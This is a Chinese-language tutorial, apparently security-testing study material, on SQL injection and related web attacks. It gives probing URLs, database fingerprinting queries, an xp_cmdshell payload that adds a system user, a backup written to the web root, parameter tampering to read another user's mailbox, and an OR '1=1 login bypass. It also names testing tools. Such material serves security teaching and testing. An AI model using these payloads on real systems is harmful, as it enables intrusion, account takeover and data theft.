1、Web数据存储攻击 这种攻击主要是通过web与
数据库的交互漏洞,来获取数据库的访问、操作、控制权限的。
通常可以达到:
(1)水平权限提升:得到同级别用户的信息。
(2)垂直权限提升:得到高级别用户的信息。
(3)任意文件存取:取得web站点目录以外的未被授权的文件或数据。
这类攻击最主流的就是
SQL注入技术了。
Sql注入过程可简单描述如下:
通过输入验证技术在应用程序中产生一个数据库错误操作无效的输入,直到可以确定隐含的sql语句结构或者发现能够正确执行的字符。
通过sql查询收集关于应用程序数据库的信息。
通过sql查询收集关于系统的信息。
SQL注入示例一:
(1)判断是否存在注入:
目标站点:http://www.test.com/showdetai.asp?id=33
判断是否存在注入:
http://www.test.com/showdetai.asp?id=33’ 出错
http://www.test.com/showdetai.asp?id=33 and 1=1 正常
http://www.test.com/showdetai.asp?id=33 and 1=2 出错
(2)判断数据库类型
根据出错后显示的信息判断数据库的类型。例如:Microsoft JET Database Engine 错误‘80040e14’为access数据库
根据系统表进行判断。例如:
http://www.test.com/showdetail.asp?id=33 and (select count(*) from sysobjects)>0
http://www.
test.com/showdetail.asp?id=33 and (select count(*) from msysobjects)>0
(3)构建攻击代码
例如:
在目标系统上添加帐号:
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”–
备份数据库:
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;--
攻击方式示例二:
通过在URL中修改数据库查询请求信息、文件名信息或
其他的一些字符,可以很容易访问到原本没有权限访问的信息。
原URL:
http://www.mail.com/mail.aspx?mailbox=joe&company=acme%20com
被修改为:
http://www.mail.com/mailbox=jane&company=acme%20com
这样,就可以以joe的身份访问jane的信息。
攻击方式示例三:
SQL语句:
Select * from table A where username=’’ + username+’’ and pass word …
在username输入框中输入:username ‘ OR ‘1=1
测试方法:
查看整个页面链接,找到如
http://www.mail.com/mail.aspx?mailbox=joe&company=acme%20com之类的链接,通过修改joe的值来绕过权限认证
使用SQL注入测试工具,如NBSI、watchFire appscan等